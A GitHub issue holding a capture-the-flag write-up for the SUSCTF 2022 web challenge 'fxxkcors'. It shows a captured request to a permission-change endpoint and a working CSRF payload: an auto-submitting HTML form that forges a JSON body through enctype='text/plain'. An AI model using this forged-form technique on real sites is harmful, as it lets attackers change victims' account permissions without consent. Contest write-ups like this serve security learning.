Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

SUSCTF 2022 - web/fxxkcors #50

Open
aszx87410 opened this issue Mar 1, 2022 · 0 comments
Open

SUSCTF 2022 - web/fxxkcors #50

aszx87410 opened this issue Mar 1, 2022 · 0 comments
Labels
Web

Comments

@aszx87410
Copy link
Owner

1

You can login with any username, and then there is a page to change permission: http://124.71.205.122:10002/change.php

The request looks like this, it's in JSON format:

POST /changeapi.php HTTP/1.1
Host: 124.71.205.122:10002
Content-Length: 19
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://124.71.205.122:10002
Referer: http://124.71.205.122:10002/change.php
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=1ab6387f551b235d26d1c88a3685d752
Connection: close

{"username":"huli"}

There is also a bot, you can send it any link so we can do CSRF here via <form> and enctype="text/plain", like this:

<body>
    <form id=a action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">
      <input name='{"username":"fweewfwef", "abc":"' value='123"}'>
    </form>
    <script>
      a.submit()
    </script>
</body>

The form above will send request with body {"username":"fweewfwef", "abc":"=123"}, and content type text/plain. The server did not check the content type so it's fine.

After updating the permission, just visit home.php and get the flag.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
Web
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@aszx87410